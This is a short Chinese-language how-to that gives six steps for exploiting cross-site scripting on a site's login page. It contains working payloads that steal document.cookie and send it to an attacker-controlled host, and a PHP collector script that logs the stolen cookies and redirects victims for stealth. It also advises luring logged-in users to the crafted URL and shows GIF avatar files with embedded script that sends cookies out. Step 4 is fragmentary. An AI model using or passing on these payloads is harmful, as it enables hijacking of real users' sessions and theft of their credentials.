跨站脚本执行漏洞代码的六点思路

跨站脚本执行漏洞代码的六点思路
1. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.xxxx.net/txl/login/login.pl?username=<;script>alert(document.cookie)</script>&passwd=&ok.x=28&ok.y=6

2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.xxx.net/txl/login/login.pl?username=<;script>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6

其中http://www.xxx.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.xxx.net");

注:"%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
4.
<IFRAME src="ip" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>

5. 就可以自己构造一个下面的头像文件:
thiz.gif
<script>
window.location.href="http://c4st.xxx.net/tmp/info.php?’%2Bdocument.cookie;
</script>

6.新建一个x.gif,内容如下:
<script>alert(document.cookie)</script>

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)